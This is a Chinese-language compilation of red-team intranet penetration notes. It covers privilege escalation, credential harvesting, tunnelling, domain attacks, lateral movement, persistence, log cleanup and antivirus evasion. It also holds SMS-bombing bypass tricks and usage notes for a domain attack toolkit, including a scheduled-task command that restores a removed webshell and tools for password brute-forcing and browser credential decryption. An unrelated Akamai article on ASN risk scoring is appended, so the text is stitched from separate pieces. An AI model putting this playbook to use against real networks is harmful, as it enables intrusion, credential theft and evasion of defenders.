第二种,给目标发送各种钓鱼链接,比如, 利用各种目标登录口的钓鱼页面来窃取各种内网账号密码 

Vpn
Mail
OA
Net ntlm hash [ 远程模板注入,pdf...钓hash,国内ISP过滤SMB流量不适用 ]
......

0x05 主机安全 [ 提权利用,防御重点 ]

以下只单独挑了一些在 通用性, 稳定性, 易用性, 实际成功率 都相对较好的洞 和 方式 其它的一些"边缘性"的利用都暂未提及
  • Windows 系统漏洞 本地提权 [ 成功的前提是,保证事先已做好各种针对性免杀 ]
BypassUAC [ win7 / 8  / 8.1 / 10 ]
MS14-058[KB3000061]				    [重点]
MS14-068[KB3011780]				    [重点]
ms15-051[KB3045171]				    [重点]
MS15-077[KB3077657]				    [重点]
MS16-032[KB3124280]				    [重点]
ms16-075					    [重点]
MS16-135[KB3199135]				    [重点]
MS17-010[KB4013389]				    [重点]
cve-2019-0708					    [重点]
CVE-2019-0803					    [重点]
CVE-2019-1322 & CVE-2019-1405			    [重点]
cve-2019-12750 [ 赛门铁克(用的较多)本地提权 ]	    [重点]		
  • linux 内核漏洞 本地提权 [ linux-exploit-suggester ]
CVE-2016-5195					    [重点]
CVE-2017-16995
CVE-2019-13272
  • 利用各类第三方服务 / 软件工具提权
Mssql 						    [重点]
Oracle         					    [重点]
Mysql
各类第三方软件dll劫持 				    [重点]
suid权限                        
计划任务
各种错误服务配置利用

0x06 内网安全 [ 敏感信息搜集,防御重点,可在此项严格限制各种系统内置命令执行 ]

  • 搜集当前已控"跳板机"的各类敏感信息
注: 如下某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的,此处不再赘述

查看当前shell权限 及 详细系统内核版本
获取当前系统的 详细ip配置,包括 所在域, ip, 掩码, 网关, 主备 dns ip
获取当前系统最近的用户登录记录
获取当前用户的所有命令历史记录 [ 主要针对linux,里面可能包含的有各类敏感账号密码,ip,敏感服务配置... ]
获取本机所有 服务/进程 [包括各个进程的详细权限,也包括目标系统中的可疑恶意进程(有可能是同行的马)]/端口/网络连接信息
获取本机所用杀软 / 监控种类 [ 后续好针对性的做免杀 ]
获取本机 rdp / ssh 端口开启状态 及 其默认端口号
获取本机所有用户的rdp外连记录
获取本机的所有SSH登录记录
获取当前系统所有登录成功的日志 [ 针对windows ]
获取本机所有已安装软件的详细列表 [ 主要为抓密码,提权,留后门做准备 ]
获取本机各个浏览器中保存的 所有书签页 及 历史浏览记录
获取当前用户创建的所有计划任务列表 及 计划任务所对应的执行脚本内容 [ 有些执行脚本中很可能存的有各种连接账号密码 ]
获取当前用户 桌面 及 回收站 里的所有文件列表
获取当前系统的所有存在suid权限的二进制程序
获取当前系统代理 [ ip & 端口 ]
获取当前系统所有的自启动注册表项值
获取当前系统的所有 ipc 连接 及 已启用共享
获取当前系统的所有挂载[mount]
获取当前系统的防火墙状态
获取当前系统所有分区/盘符及其详细使用情况
获取本机的累计开机时长
获取本机arp / dns缓存
获取当前机器环境变量 [ 主要想看看目标机器上有无python,jdk,ruby...等语言的执行环境,后期可设法利用 ]
获取当前系统所有本地用户及组列表
获取当前系统host文件内容
获取当前机器硬件设备信息[ 主要为判断当前机器是否为虚拟机 ]
远程截屏捕捉目标用户敏感操作

由于上述大部分的搜集动作都是基于系统内置工具和接口,故,可完全依靠EDR来实时捕捉各类敏感进程上报恶意操作
  • 利用当前已控 "跳板机", 分析目标内网大致网络拓扑 及 所有关键性业务机器分布
  • 批量抓取内网所有windows机器名 和 所在 "域" / "工作组名" [smb探测扫描]
  • 针对内网的各种高危敏感服务定位["安全" 端口扫描 (在避免对方防护报警拦截的情况下进行各种常规服务探测识别)]
  • 内网批量 Web Banner 抓取,获取关键目标业务系统如下
内网各种文件[共享]服务器
内网各类web服务器  [ 可用于后期留入口 ]
内网各类数据库服务器
内网邮件服务器  [ 可用于后期留入口 ]
内网Vpn服务器  [ 可用于后期留入口 ]
内网各类常规资产状态监控服务器,eg: zabbix,nagios,cacti...
内网各类防护的主控端,比如,防火墙,EDR,态势感知 产品的web主控端...
内网日志服务器
内网补丁服务器
内网各类OA,ERP,CRM,SRM,HR系统... 
内网打印服务器
内网 MES 系统 
内网虚拟化服务器 / 超融合平台 [Vmware ESX]
内网堡垒机...
内网运维,研发 部门员工的机器
内网路由,交换设备...
等等等...

针对以上的各种常规内网探测扫描,其实在流量上都会有非常清晰的表现
通过在一些关键节点设备/服务器上部署探针搜集流量
再配合大数据关联分析查找各种敏感特征,理论上是相对容易发现各类扫描探测痕迹的
  • 针对各类已知系统高危RCE漏洞的批量探测识别与利用
MS08-067 [ 其实,某些特殊行业的系统可能非常老,极少更新,故,还是有存在的可能 ]
MS17-010
CVE-2019-0708

其实针对此类漏洞的攻击利用识别,就显得比较直白了
通过深入分析每种漏洞在实际攻击利用过程所产生的一些典型 流量特征 和 系统日志即可大致判断

0x07 内网安全 [ 各类敏感凭证 "搜集" 与 "窃取" ]

  • 主动密码搜集
注:如下某些操作肯定是需要事先自己想办法先拿到管理权限或者在指定用户权限下才能正常进行的
此处不再赘述, 此项非防御重点, 因为压根也不好防

批量抓取当前机器上的 "各类基础服务配置文件中保存的各种账号密码"
   比如,各种数据库连接配置文件,各类服务自身的配置文件(redis,http basic...)...
想办法 "控制目标 运维管理 / 技术人员 的单机,从这些机器上去搜集可能保存着各类敏感网络资产的账号密码表"
   比如, *.ls,*.doc,*.docx, *.txt....
抓取各类 "数据库客户端工具中保存各种数据库连接账号密码
   比如,Navicat,SSMS[MSSQL自带客户端管理工具,里面也可能保存的有密码(加密后的base64)]

抓取当前系统 "注册表中保存的各类账号密码hash" [ Windows ]
抓取当前系统所有 "本地用户的明文密码/hash" [ Windows & linux ]
抓取当前系统的所有 "用户token" [ Windows ]
抓取 "windows凭据管理器中保存的各类连接账号密码"
抓取 "MSTSC 客户端中保存的所有rdp连接账号密码"
抓取各类 "VNC客户端工具中保存的连接密码"
抓取 "GPP目录下保存的各类账号密码" [ 包括组策略目录中XML里保存的密码hash 和 NETLOGON目录下的某些脚本中保存的账号密码 ]
抓取各类 "SSH客户端工具中保存的各种linux系统连接账号密码", SecureCRT,Xshell,WinSCP,putty
抓取各类 "浏览器中保存的各种web登录密码",Chrome [360浏览器],Firefox,IE,QQ浏览器
抓取各类 "数据库表中保存的各类账号密码hash"
抓取各类 "FTP客户端工具中保存的各种ftp登录账号密码", filezila, xftp...
抓取各类 "邮件客户端工具中保存的各种邮箱账号密码", forxmail, thunderbird...
抓取各类 "SVN客户端工具中保存的所有连接账号密码及项目地址"
抓取各类 "VPN客户端工具中保存的各种vpn链接账号密码"

  • 被动密码搜集 [ 等着管理员自己来送密码 ]
[注: 某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的, 此处不再赘述 , 是防御重点]

Windows SSP [持久化/内存]
Hook PasswordChangeNotify [持久化/内存]
OWA 登录账号密码截获
截获mstsc.exe中输入的rdp连接账号密码
linux 别名记录利用
本机明文密码嗅探 [ http,ftp,pop3... ]
传统键盘记录
windows蓝屏技巧 [ 此操作主要为应对不时之需,比如,搞蓝屏,登管理员登录抓密码 ]
  • Hash爆破:
Hashcat [ 完全拼GPU ] 

0x08 内网安全 [ 内网常用 "隧道"" / "转发"" / "代理"" 穿透手法 提炼汇总 ,防御重点 ]

出网流量刺探
比如,http,dns,以及一些穿透性相对较好的tcp端口... 
这种操作一般都会配合wmi,smb,ssh远程执行,在内网批量快速识别出能出网的机器

常规 HTTP脚本代理
abptts,Neo-reGeorg,reGeorg,tunna,reduh...
不得不说,公开脚本在实战中多多少少都会有些问题,还需要根据自己的实际目标环境深度改进才行

SSH 隧道
加密端口转发,socks 实战用途非常灵活,此处不细说 ]

Rdp 隧道

反向SOCKS
nps, frp, ssf, CobaltStrike(socks4a & rportfwd ), sscoks ... 
工具基本都不免杀了,需要自行处理

正反向TCP 端口转发
非常多,就不一一列举, eg: nginx,netsh,socat,ew....

DNS加密隧道			

Web端口复用

需要明白的是,在一般的红队场景中
入侵者为了尽可能躲避各种检测设备的流量解析,很多此类工具都会采用各种各样的方式来加密传输流量,以此来保证自己有更强的穿透性

0x09 域内网安全 [ 域内常用攻击手法 ( 域渗透 ),提炼汇总,防御重点 ]

  • 针对当前域的一些常规信息搜集[ 其实现实中,只需要一个BloodHound & Pingcastle足矣,就是工具需要自行事先免杀好]
获取当前域内的完整域管列表
获取当前域内的所有域控机器名列表
获取当前域内的所有DNS服务器机器名列表
获取当前域内的所有SPN
获取当前域内的所有OU
获取当前域内的所有用户 & 用户组列表
获取当前域信任关系 [ 跨域渗透 ]
获取当前域内所有机器的开机时间
获取当前域内网段及web站点
获取当前域内策略 [ 主要是为了了解密码策略 ]
获取当前域林
.......
  • 快速获取目标域控权限的一些常规手法
搜集GPP 目录 [ 其中可能保存的有域账号密码,不仅仅是存在XML里的那些,NETLOGON目录中的某些脚本同样也可能保存有账号密码 ] 
服务票据hash破解("尤其是域管用户的") [ kerberoast ]
批量对域用户进行单密码尝试 [ 喷射,利用ADSI接口,日志id 4771 ]
Kerberos 委派利用
爆破LDAP
Exchange特定ACL滥用
SSP 截获关键服务器登录密码
利用各类基础服务在内网快速 getshell [ 弱口令, 各类JAVA中间件已知Nday漏洞, 常规Web漏洞... ],在内网循环抓各类密码,直至
  抓到域管密码
  抓到域管令牌
DNSAdmin 组成员滥用 [ 加载执行恶意dll ]
LAPS
MS14-068 [ 如今实际中已很少遇到了 ]
LLMNR/NBNS欺骗  + SMB relay [ 真实在实战中其实用的并不多 ]
  • 域内后渗透敏感信息搜集分析
获取所有DNS记录
导出当前域的完整LDAP数据库
提取当前域的ntds.dit [ 域内账号密码数据库 ]
  Dcsync同步
  Volume Shadow Copy Service
  • 域内指定用户登录ip定位
利用OWA登录日志
利用域控服务器登录日志
指定服务银票 [ Silver Ticket ]
除此之外,就是下面的各类常规横向手法
  • 域内指定用户机器定向控制技巧
绑定用户登录脚本
利用GPO下发 [实际上,利用GPO能做的事情还非常非常多]
PTT [ 票据传递 ]
  • 针对域管的各种权限维持技巧
金票
Skeleton Key
DSRM密码同步
OWA后门
...
  • 域内Exchange 邮件数据脱取
利用Ews接口通过PTH的方式脱邮件

0x10 内网安全 [ 跨平台横向渗透 (远程执行),防御重点 ( "重中之重" ) ]

  • 从 Windows平台 横向至 Windows平台
注: 以下某些远程执行方式, 即可直接用明文账号密码 亦可 基于pth来进行, 不局限

远程服务管理 [ SCM ]
远程创建执行计划任务 [ Scheduled Tasks ]
WMI 远程执行 [ WMI ]
针对高版本WindowsWinRM 远程执行 
DCOM 远程执行 [ 需要目标Windows机器事先已关闭防火墙 ]
高版本 RDP 远程执行
利用MSSQL数据库存储过程来变相远程执行
利用Oracle数据库存储过程来变相远程执行
SMB [ PTH (hash传递) ]
RDP[MSTSC] 反向渗透 [ 即可用于突破某些隔离, 亦可通过云(Windows vps)直接反控目标管理员个人机 CVE-2019-0887 ]
利用补丁服务器下发执行
利用EDR主控端定向下发执行
  • 从 Windows平台 横向至 *inux平台
基于Windows SSH库自行开发各种远程执行小工具
windows10自带的openssh直接命令远程连接:
ssh  root@192.168.3.124
scp -rp  I:\test  root@192.168.3.124:/opt(上传文件件及其内容)
scp   I:\test\test.txt  root@192.168.3.124:/opt  (上传文件内容)
scp   root@192.168.3.124:/opt/test/2.txt   I:\test (下载文件)
  • 从 *inux平台 横向至 Windows 平台
一般都会将 impacket套件中的各个常用py脚本事先直接打包成可执行文件, 然后丢到目标linux系统中去执行,如下
wmiexec_linux_x86_64
smbexec_linux_x86_64
psexec_linux_x86_64
atexec_linux_x86_64
dcomexec_linux_x86_64
参考工具:
https://github.com/maaaaz/impacket-examples-windows
https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.22.dev-binaries 
另外,还有一些基于go的工具,同样也可以编译成可执行文件之后再丢上去执行
  • 从 *inux平台 横向至 *inux 平台
linux 自带的ssh客户端工具套件, 默认就可以用来进行远程执行
  • 各种远程下载技巧
wget [ win & linux ]
curl [ win & linux ]
之所以没着重提以下这些系统内置的远程下载执行工具,主要还是因为事先已经明确知道
某些杀软环境下它肯定会被拦截,所以事先就直接把它弃用了,尤其针对红队这种场景,这些东西根本不在乎多,有一个能用好用的即可
CertUtil.exe
Bitsadmin.exe
Regsvr32.exe
Rundll32.exe
Powershell.exe
......

0x11 内网安全 [ 权限维持,防御重点 ] [ 注: 有些细节此处并未展开详细说明 ]

  • 边界入口权限维持
OWA 登录口 [ 账号密码,webshell ]
VPN 登录口 [ 账号密码,shell ]
其他 MAIL 登录口 [ 账号密码 ]
边界 Web服务器 [ Webshell 驻留技巧 ]
边界路由交换设备 [ 账号密码,shell ]
...
  • Windows 单机系统维持 [临时]
系统计划任务 [ 高权限/低权限 ]
常规注册表自启动项 [ 用户权限/system权限 ]
Mssql存储过程 [ 继承服务权限 ]
WMI
Winlogon
CLR
Logon Scripts
MruPidlList
Mof
传统远控
...
  • linux 单机系统维持 [临时]
Patch SSH
替换各类基础服务so [ PAM,Nginx,Rsync ...] 
系统计划任务
传统应用层远控
驱动层远控( 针对特定内核版本 )

0x12 痕迹处理

web日志 [ 访问, 错误日志 ]
数据库日志 [ 异常连接日志,慢查询日志 ]
系统各类安全日志 [ ssh,rdp,smb,wmi,powershell....]
各类邮箱登录日志
域内敏感攻击利用日志 [ 金票,银票... ]
此项为专业蓝队范畴,不再赘述
......

0x13 各类常用 C2 / 渗透 框架

CobaltStrike [二次开发]
  payload(beacon) 逆向/改进重写
Metasploit [二次开发]
......

0x14 各类常用 Webshell管理工具

菜刀	caidao20160622
冰蟹	Behinder_v2.0.1
蚁剑	AntSword
......

0x15 免杀 及 各类防火墙对抗

  • 静态
混淆:
手工混淆,有源码的情况下,尝试逐个替换可能是关键特征字符串的 命名空间名, 函数名, 变量名, 字符串 等等等....
工具混淆,针对各种语言的专业混淆工具 [ 有商业版 ]
...

加壳:
一些常用公开壳的实际效果可能并不是太好 [ 也有商业壳 ]
最好的方式还是尝试自己写壳,就是成本较高
...
  • 动态
反射
shellcode 内存加解密执行 ( 对于现在的某些杀软来讲,可能并没什么卵用,别人拦的基本都是你的最终调用 )
白利用
......

注:
   理论上, 这些应该也没有什么非常通用的方法
   大多还是事先针对特定的杀软针对性的不停调试分析出它到底怎么拦,怎么查的,然后再针对性的对症下药
  • 流量:
域前置[利用大厂cdn]
工具参考:
https://tengxiaofei.run/2020/06/22/%E6%B5%81%E9%87%8F%E7%BB%95%E8%BF%87-cobaltstrike%E5%9F%9F%E5%89%8D%E7%BD%AE%E9%9A%90%E8%97%8F%E7%9C%9F%E5%AE%9EIP%E5%92%8C%E6%81%B6%E6%84%8F%E5%9F%9F%E5%90%8D/
https://evi1cg.me/archives/AMSI_bypass.html
https://www.anquanke.com/post/id/195011#h2-1
https://www.moonsec.com/archives/2928
https://zhuanlan.zhihu.com/p/364877190
https://syst1m.com/post/domain-fronting/
https://medium.com/@vysec.private/alibaba-cdn-domain-fronting-1c0754fa0142
https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/
https://www.xorrior.com/Empire-Domain-Fronting/
https://www.cyberark.com/resources/threat-research-blog/red-team-insights-on-https-domain-fronting-google-hosts-using-cobalt-strike
https://medium.com/@vysec.private/domain-fronting-who-am-i-3c982ccd52e6
https://medium.com/@vysec.private/validated-cloudfront-ssl-domains-27895822cea3
https://www.mindpointgroup.com/blog/pen-test/cloudfront-hijacking/
https://github.com/MindPointGroup/cloudfrunt
https://www.secpulse.com/archives/142017.html
https://www.chabug.org/web/1373.html
DNS加密隧道
参考工具:
https://www.cnblogs.com/beautiful-code/p/13725355.html#cs%E4%BD%BF%E7%94%A8dns%E9%9A%A7%E9%81%93%E5%BB%BA%E7%AB%8B%E8%BF%9E%E6%8E%A5
https://www.freebuf.com/articles/network/208242.html
https://www.freebuf.com/articles/web/256032.html
https://www.cocosec.com/archives/262.html
http://blog.nsfocus.net/dns-tunnel-communication-characteristics-detection/
https://www.freebuf.com/articles/network/244094.html
https://www.freebuf.com/articles/network/214923.html
https://blog.riskivy.com/%e6%8e%a2%e7%a7%98-%e5%9f%ba%e4%ba%8e%e6%9c%ba%e5%99%a8%e5%ad%a6%e4%b9%a0%e7%9a%84dns%e9%9a%90%e8%94%bd%e9%9a%a7%e9%81%93%e6%a3%80%e6%b5%8b%e6%96%b9%e6%b3%95%e4%b8%8e%e5%ae%9e%e7%8e%b0/
https://xz.aliyun.com/t/6966#toc-17
https://downloads.skullsecurity.org/dnscat2/
https://apt404.github.io/2017/12/29/cobalt-strike-dns/
https://www.anquanke.com/post/id/99408
第三方公共邮箱上线
第三方网盘上线
第三方社交网站上线
第三方匿名社交工具上线[eg: tg机器人,tor...]

在测试甲方业务或者挖 SRC 等业务的时候,经常碰到发送短信验证的地方,我们可以联想到的就是任意用户登陆、短信轰炸、任意用户修改密码等逻辑性的漏洞, 简单的漏洞也是需要清晰的思维分析,拿几个短信轰炸多个绕过案例分享,高危挖不动低危拿来凑。
1. 参数污染绕过
参数污染,就是说后台发送短信的时候会取数字那部分,当你混入其他字符之后绕过了对已经发送的手机号码的限制的校验:nkenvbvhmcc14122.jpg2. 变量污染绕过
所谓变量污染呢, 大概因为后台校验了第一个变量的内容都当成了值处理,但是当数据包在传递到后台过去的时候,如果参数名是一样的时候,是会以第二个、第三个、第四个…最后那个参数为基准去传递,因此绕过了后台的限制njyobezzqof14123.jpgocklkeisrsf14124.jpg

3. 数据长度绕过
手机号码的定义是 11 位数,但是后台没有对传递的手机号码做校验长度,比如123=0123=00123,通过该方法来进行一个手机号码的绕过: 【狗的一个漏洞】5nbjsrecjlq14126.jpg【找不到图片了】

4. 修改变量参数绕过
比较常见就是发送验证码的时候前端带入一个状态,通过修改这个状态可以来绕过系统的限制,如已注册的用户不能发送短信或者相反未注册的用户不能发送短信
Flase 改成 truehq5lak4qmdn14127.jpg


5. Cookie 替换绕过
换汤不换药,校验用户的凭证放在了 cookie 中,通过修改 cookie 中的某些参数可以打到绕过对以发送/已注册的手机号码进行发送短信:dy5sc53kmx214128.jpgyxk0ypxtrfr14129.jpg
6. 【空格绕过短信轰炸】【无图】
发送短信的时候是 11 位数,但是数据库没有限制字段长度为 11,通过添加空格绕过了原有的校验,但是后台发送号码的时候,取有效字符前面的字段,导致了出现被绕过的方法。

7. 【验证码可复用导致短信轰炸漏洞】【无图】
在吃了用户名爆破或者密码爆破漏洞亏之后,加入了验证码的校验,但是验证码在发送的时候抓包不放行, 验证码不会失效,引起的短信轰炸漏洞。
8. 【基于 API 接口绕过】 【无图】
这一个漏洞的话, 一般是前台输入手机号码, 发送请求 1 到后台判断是否可以执行发送请求
2, 否的话返回 
False 或者 error, 成功的话返回一个 true 或者 success, 只要找到返回的这
个接口, 说不定也可以找到这种漏洞。

0x01. NetLocalGroupGetMembers

功能:查询目标服务器本地管理组的成员

yzegalkkkhi14138.png

0x02. NetLocalGroupEnum

功能:返回指定服务器上的所有本地组

imlxc0xa5ru14140.png

0x03. NetGroupGetUsers

功能:返回指定服务器指定组的所有成员

查询域里的各个组里的成员,IP必须是域控IP

ynhubimtp4x14141.png  

0x04. NetUserEnum

功能:查询目标服务器所有用户,包括隐藏用户

ffaz2awy0uq14150.png

dqdofqwy3fs14151.png  

0x05. wnetaddconnection2a

功能:建立IPC连接,可以将目标共享目录映射到本地磁盘

upvtn00hlew14152.png

0x06. WNetCancelConnection2

功能:删除IPC连接

bq5n0fpdrf214153.png

0x07. EnuDomainUser

功能:枚举域用户

1. 介绍

适用于:当前边界机器权限是工作组机器,通过nltest或者nbtscan等工具发现内网有域环境,并且找到域控IP,但是没有域用户的权限下渗透思路。

前提条件:能够和域控建立空连接

实现原理:域管默认都会有administrator用户,通过windows api查出administrator域管的SID,然后遍历SID范围,枚举出域成员(域用户和域机器)。

SID范围:域用户和域机器的SID一般是1000以上,所以使用工具的时候遍历1000以上的SID

2. 工具使用

使用帮助:

C:\Users\Administrator\Desktop>EnuDomainUser.exe
Usage: EnuDomainUser.exe <DC-IP> <domainname\username> <start Sid> <end Sid> <t_num>
       EnuDomainUser.exe \\192.168.52.2 hack\administrator 1000 2000 100
       EnuDomainUser.exe \\域控IP 域名\域用户名<默认administrator> 起始Sid 末尾Sid 多线程数目

使用demo:

EnuDomainUser.exe 192.168.52.2 hack\administrator 1000 2000 100

参数解释:

192.168.52.2  是域控IP
hack          是域名
administrator 是域管默认用户
1000          是遍历SID的起始
2000          是遍历SID的末尾-可以设置高一点,例如10000,20000等
100           是多线程的数目

0m0mghaayrh14154.png

dsa3tj1ayo514155.png  

0x08. BlastDomainUserPwd

功能:爆破域用户密码

1. 介绍

通过IPC连接->爆破域用户的密码

结合EnuDomainUser工具或者kerbrute工具获取域用户名列表,然后进行爆破

如果被360杀,改一下exe名字即可

设计思路:

  1. 如果能够和域控建立空连接,则用EnuDomainUser工具枚举遍历出所有域用户名
  2. 如果不能够和域控建立空连接,则用kerbrute工具爆破域用户名

当获取到一批域用户名后,开始尝试域用户密码的弱口令爆破

域用户密码有强度要求,则尝试爆破强弱口令。例如:P@ssw0rd、1qaz@WSX等

2. 工具的使用

Usage: BlastDomainUserPwd.exe <domainComputerIp> <domainUser.txt> <password> <t_num>
       BlastDomainUserPwd.exe \\192.168.52.29 domainUser.txt password 100
       BlastDomainUserPwd.exe \\域机器IP 域用户名字典 尝试爆破的密码 多线程数目

域用户名字典格式规范:域名\域用户名

domain\user

u5mtfuyta0d14156.png  

运行实例: BlastDomainUserPwd.exe \\192.168.52.2 domainUser.txt 1qaz@WSX 3

vx4he3loyxl14157.jpg

成功爆破出的域用户密码保存在当前目录的success.txt文本里

 

nbjejvdrnia14158.png  

 

0ctkx5pp2jx14159.png

0x09. SchtaskBackDoorWebshell

功能:计划任务维持webshell

1. 适用场景:

护网中被防守方发现webshell,并清除出去,漏洞也被修复,然后网站恢复后不能再上传webshell时,通过计划任务重写webshell。

2. 条件:

管理员权限,因为创建计划任务得需要管理员权限

3. 使用方法:

xxxx.exe c:\wwww\upload\1.jsp

4. 实现过程:

将c:\wwww\upload\1.jsp内容复制到c:\windows\temp\tempsh.txt里,然后创建了一个计划任务,执行的命令是c:\windows\system32\cmd.exe /c copy c:\windows\temp\tempsh.txt c:\wwww\upload\1.jsp,每半小时触发一次。

5. 视频展示:

xfsfunuruwv14173.gif

0x10. regeditBypassUAC

功能:过uac执行exe,编译好的exe只适用于win10,win7不行

1. 具体过程

基于白名单程序注册表bypassUAC

2. 视频演示

2oyjf5vellk14180.jpg  

0x11. delegationVul

功能:检测内网域的约束委派

1. 约束委派利用

约束委派利用

2. 视频演示

a1q0ww0ews114185.jpg

3. 基于资源的约束委派利用

基于资源的约束委派利用

4. 视频演示

 

xbsxv5xw5os14188.jpg  

 

0x12. 360SafeBrowserDecrypt

功能:

直接在目标机器上运行,但是不免杀
360SafeBrowserDecrypt.exe

将目标的机器id和assis2.db数据库拖回到本地解密
查机器id:
reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY" /v "MachineGuid"
查360安全浏览器安装目录: 
reg query "HKCR\360SeSES\DefaultIcon"
默认的assis2.db数据库目录:
C:\Users\xxxxxxx\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis

本地运行:
360SafeBrowserDecrypt.exe xxx-xxx-xxx-xxx assis2.db
ztikat1xwjk14193.png
结果显示:
有收藏夹的url和保存密码的url

文章中所用到工具: 链接:https://pan.baidu.com/s/1bKo-srQJMWgpQt5mPCFPfA 提取码:ryzx

ep4isrda0gd14205.jpg

分析文章:动态调试360安全浏览器获取密钥

 

原文链接: https://github.com/SkewwG/domainTools         hh4wm2qszqa14206.jpg

 

 

在互聯網中,一個自治系統(AS)是一個有權自主地決定在本系統中應採用何種路由協議的小型單位。這個網絡單位可以是一個簡單的網絡也可以是一個由一個或多個普通的網絡管理員來控制的網絡群體,它是一個單獨的可管理的網絡單元(例如一所大學,一個企業或者一個公司個體)。一個自治系統有時也被稱為是一個路由選擇域(routingdomain)。一個自治系統將會分配一個全局的唯一的號碼,有時我們把這個號碼叫做自治系統號(ASN)。通過自治系統號(ASN)預判攻擊發生的可能性是出於以下7個方面的考慮:

1.利用Akamai(一家網路安全公司)對互聯網趨勢和活動的廣泛了解,Akamai研究人員一直在分析自治系統號(ASN),以評估大量互聯網的風險。

2.ASN包含受管理的ISP、雲計算公司、跨國集團以及小型組織的IP地址池。

3.這些ASN的各種特徵(包括其註冊位置、提供商類型以及管理ASN中IP使用的策略)可能會影響攻擊者被發現使用這些ASN中的IP的可能性。

4.了解ASN的惡意性可以讓安全從業人員對任何給定IP的風險做出更明智的預測,即使它不是已知的威脅。

5.惡意ASN更有可能包含用於託管網絡釣魚網站、惡意文件、殭屍網絡和掃描程序的IP。 “可能的惡意”ASN表示遇到惡意IP的概率為七分之一或更高。

6.對流量的分析表明,“可能的惡意”ASN佔所有在線IPv4地址的不到2%,但它們接收的互聯網流量超過5%。

7.此外,“潛在惡意”類別中的ASN在互聯網上所有IPv4地址中的佔比不到5%,但它們接收的互聯網流量卻超過18%,這表明惡意和合法流量可以由同一個ASN提供服務。

IP智能化有很多用途:例如,防火牆或DNS查詢後阻止。基於IP預先確定“通過/不通過”的能力是一項重要的防禦措施。

Akamai安全研究人員利用Akamai對在線流量的廣泛可見性,創建了在線ASN的全面映射,以評估惡意地址出現在ASN中的可能性。在這篇文章中,我們將詳細介紹ASN,以及ASN對風險評估可能產生的影響。我們還將檢查惡意ASN等。

風險評估現狀由於動態IP、CDN和託管服務的存在,基於IP的阻止可能是非常危險。個人和組織可能會受到不同程度的影響。例如,錯誤地屏蔽一個社交媒體網站的IP可能只會讓一名員工感到無所適從,影響正常工作。

在更大的範圍內,阻止來自CDN或託管服務的單個IP可能會導致阻止數千個網站。我們以白名單的形式提供保護以避免這些極端情況,但必須要注意,某些用例可能會優先考慮更廣泛的威脅保護而不是誤報。綜上所述,此種策略的弊端太大。

不過Akamai可以通過大量數據輸入來解決上述弊端,例如:

Akamai Intelligent Edge Platform上通過IP發起的攻擊;

每天來自數十億次DNS查詢的檢測;

IP流行度源自每天數十億的DNS查詢;

其他形式的內部和第三方情報;

有多個來源,包含數百萬IP的正面(合法IP)和負面(惡意IP)證據。我們需要結合這些資源為每個IP創造一個分數。為此,我們採用貝葉斯方法,其複雜性在於確定每個源的權重。這樣做的目的是建立一個更全面的風險評估,考慮到不同的來源。分數越高,負面證據就越多。分數越低,惡意證據就越少,或者正面和負面證據混合在一起。根據應用程序的不同,可以選擇一個閾值來實現誤報和真實所需的平衡。這比典型的基於IP的風險評估更進了一步,在這種評估中,了解ASN的力量及其可能產生的影響勢在必行。

什麼是自治系統?簡而言之,自治系統就是互聯網的構建方式。每個自治系統都映射到一個數字,因此我們通常說ASN(自治系統號)。每個ASN都有一個IP池,每個ASN負責使用邊界網關協議(BGP)在其網絡內路由流量並通過Internet與其他ASN通信。

在這篇文章中,我們只聚焦IPv4,其中包括大約7萬個自主系統。

ASN可以以不同的方式進行分類,以了解它們在互聯網上的位置。例如,“從多個優勢點描述互聯網層次結構https://ieeexplore.ieee.org/abstract/document/1019307”查看BGP表,從商業角度對ASN的角色進行分類。 “使用深度學習揭示自治系統之間的關係類型https://ieeexplore.ieee.org/document/9110358”使用深度學習來理解ASN之間的關係類型。要了解ASN背後的組織,我們可以查看“揭示自治系統分類法:機器學習方法https://arxiv.org/abs/cs/0604015”,它試圖將ASN自動分類為大型ISP、小型ISP、大學、互聯網交換點和網絡信息中心。最近,在“BGP2Vec:揭示自治系統的潛在特徵https://ieeexplore.ieee.org/abstract/document/9761992”中使用了word2Vec樣式的模型,將ASN分類到應用互聯網數據分析中心的交通/訪問、內容、教育/研究和企業類別中。

ASN大小讓我們看看前10個最大的ASN的IPv4地址池大小(表1)。最大的ASN歸美國國防部網絡信息中心所有。名單上的其他公司包括大型ISP、雲計算公司和跨國企業集團。我們排除了ASN 0,因為它是用來識別不可路由網絡的。

1.png

按IPv4地址池大小排列的前10個最大的ASN

下圖進一步顯示了這10個ASN的影響。前10個ASN約佔分配的IPv4地址空間的25%。相比之下,只有16%的IPv4地址空間分配給前1000個之外的69000個ASN,因此互聯網流量中存在類似於域或IP的ASN的長尾。這是分配給相對較小百分比的大量互聯網。這是我們在確定有效的ASN風險評估時必須考慮多個數據輸入的部分原因。正如你將在本文後面了解到的那樣,並非所有ASN都是平等的。

2.png

ASNIPv4地址池大小占全部IPv4地址池的百分比

地理位置位置在真正理解ASN方面也起著重要作用。為了詳細說明這一點,我們構建了一個散點圖,其中包含與每個國家/地區關聯的ASN數量與這些ASN的IP池大小的關係。

3.png

與每個ASN關聯的國家與這些ASN的IP池大小

在前10大ASN中,美國有6個,在IP總數和ASN總數方面均領先。緊隨美國之後的是:巴西、英國、丹麥、印度和俄羅斯。繼續向左移動一點,我們可以看到中國、日本和韓國的ASN數量要少得多,但其數量比巴西和俄羅斯等國要多。考慮到我們所知道的前1000名ASN和其他69000名之間的差距,當遇到某個國家的IP並為其創建風險評估時,可能會面臨一些獨特的挑戰。

例如,對於ASN數量較少但IP較多的國家/地區,惡意IP更有可能與合法IP在同一個ASN中,這意味著在僅基於ASN的阻止時可能更難以避免誤報。使用AkamaiDNS數據,我們看到與中國ASN相關的所有已解析IP均來自383個ASN,而俄羅斯則為2311個。因此,在中國和俄羅斯阻止ASN的影響,就不能採用同一種方法了。例如,在中國屏蔽整個ASN會佔用整個互聯網部分,而在俄羅斯屏蔽整個ASN會佔用更少的資源。這就是為什麼我們不能完全避免僅僅基於IP的風險評估,以及為什麼我們在創建接下來討論的ASN風險評估時必須考慮到了這一點。

ASN風險評估4.png

我們對ASN信譽的定義很簡單:一個ASN的信譽衡量的是該ASN中任何給定的活躍IP被惡意攻擊的概率。

